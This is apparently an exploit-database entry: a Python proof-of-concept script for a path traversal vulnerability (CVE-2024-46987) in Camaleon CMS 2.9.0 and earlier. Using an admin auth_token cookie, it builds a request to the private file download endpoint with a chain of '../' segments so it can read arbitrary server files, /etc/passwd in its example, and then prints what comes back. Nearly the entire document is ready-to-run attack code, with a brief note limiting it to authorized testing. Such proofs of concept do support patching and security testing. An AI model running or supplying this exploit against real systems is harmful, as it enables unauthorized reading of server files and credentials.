# Exploit Title: Camaleon CMS v2.9.0 - Path Traversal # Date: 2026-02-02 # Exploit Author: Sakshi Velampudi (CyberQuestor) # Vendor Homepage: https://github.com/owen2345/camaleon-cms # Software Link: https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0 # Version: <= 2.9.0 # Tested on: Linux # CVE: CVE-2024-46987 # Authentication: Required (auth_token cookie) # -------------------------------------------------- # Description # Sends a single HTTP GET request to a vulnerable private file download endpoint # Uses an auth_token cookie required for admin access # Detects invalid authentication via redirect to /admin/login # Displays a preview of the response when file retrieval succeeds # Usage: # Run only against systems explicitly authorized for testing # -------------------------------------------------- """ Camaleon CMS v2.9.0 - Path Traversal Proof of Concept """ import requests print("\nCamaleon CMS v2.9.0 - Path Traversal PoC (authorized testing only)\n") # -------------------------------------------------- # 1) Input Collection # -------------------------------------------------- target_url = input("Target base URL (example: http://target.com): ").strip() requested_path = input("File path to request (example: /etc/passwd): ").strip() token = input("auth_token value: ").strip() if not target_url or not requested_path or not token: print("\n[!] Error: URL, file path, and auth_token are required.\n") raise SystemExit(1) # Normalize base URL to avoid malformed paths target_url = target_url.rstrip("/") # -------------------------------------------------- # 2) Request Construction # -------------------------------------------------- url = ( f"{target_url}" f"/admin/media/download_private_file" f"?file=../../../../../../{requested_path.lstrip('/')}" ) cookies = {"auth_token": token} # -------------------------------------------------- # 3) Request Execution # -------------------------------------------------- # Redirects are disabled to capture authentication failures. try: response = requests.get(url, cookies=cookies, timeout=10, allow_redirects=False) except requests.exceptions.RequestException as e: print(f"\n[!] Request error: {e}\n") raise SystemExit(2) # -------------------------------------------------- # 4) Response Handling # -------------------------------------------------- print(f"\n[+] HTTP Status: {response.status_code}") # Invalid authentication typically results in a redirect to the admin login page if response.status_code == 302: location = response.headers.get("Location", "") if "/admin/login" in location: print(f"[!] auth_token may be incorrect or expired (redirected to {location}).") else: print(f"[!] Redirected to: {location or '(no Location header)'}") raise SystemExit(1) # Successful response if response.status_code == 200: print("\n[+] Response preview:\n") preview = response.text[:3000] print(preview) if len(response.text) > 3000: print("\n...output truncated...") raise SystemExit(0) # Other failure conditions print("\n[!] Request failed.") if response.status_code == 500: print("[!] The file path may be invalid, or the server encountered an internal error.") print(f"[i] Response length: {len(response.content)} bytes") raise SystemExit(1)